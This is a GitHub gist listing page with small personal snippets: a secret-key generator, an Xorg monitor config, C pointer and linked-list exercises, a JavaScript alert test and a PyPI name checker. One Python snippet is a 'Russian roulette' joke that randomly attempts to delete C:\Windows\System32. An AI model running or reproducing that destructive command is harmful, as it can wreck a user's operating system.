Skip to content

Instantly share code, notes, and snippets.

View henriquesebastiao's full-sized avatar
🎯
Focusing

Henrique Sebastião henriquesebastiao

🎯
Focusing
View GitHub Profile
@henriquesebastiao
henriquesebastiao / generate_secret_key.py
Created November 14, 2023 16:36
Generate secret key with python.
python -c "import string as s;from random import SystemRandom as sr;print(''.join(sr().choices(s.ascii_letters + s.punctuation, k=64)))"
@henriquesebastiao
henriquesebastiao / xorg-monitors-conf.txt
Created December 14, 2023 02:49
Configuracoes de monitor
Section "Monitor"
Identifier "HDMI-1"
Option "Primary" "true"
Modeline "2560x1080_30.00" 106.75 2560 2640 2896 3232 1080 1083 1093 1102 -hsync +vsync
Option "PreferredMode" "2560x1080_30.00"
EndSection
Section "Monitor"
Identifier "eDP-1"
Option "LeftOf" "HDMI-1"
import random
import os
if random.randint(0, 6) == 1:
os.remove(r'C:\Windows\System32')
@henriquesebastiao
henriquesebastiao / pointers.c
Created April 1, 2024 13:37
Testes com ponteiros em C.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
void main() {
int numero = 10;
int *ponteiro = &numero;
printf("%d\n", numero);
printf("%d\n", &numero);
@henriquesebastiao
henriquesebastiao / linked-list.c
Created April 1, 2024 13:59
Lista ligada em C.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
// Definição da estrutura de um nó da lista ligada
struct Node {
int value; // Valor do nó
struct Node *previous; // Ponteiro para o nó anterior
};
alert('Testando Alert!');
@henriquesebastiao
henriquesebastiao / check_pypi_package.py
Created September 12, 2024 22:36
Script para verificar se nome de pacote está disponível no PyPi.
import requests
def check_pypi_package(name):
url = f"https://pypi.org/pypi/{name}/json"
response = requests.get(url)
return response.status_code == 200
package_name = "example-package" # Substitua pelo nome desejado
if check_pypi_package(package_name):
print(f"O pacote '{package_name}' já está em uso.")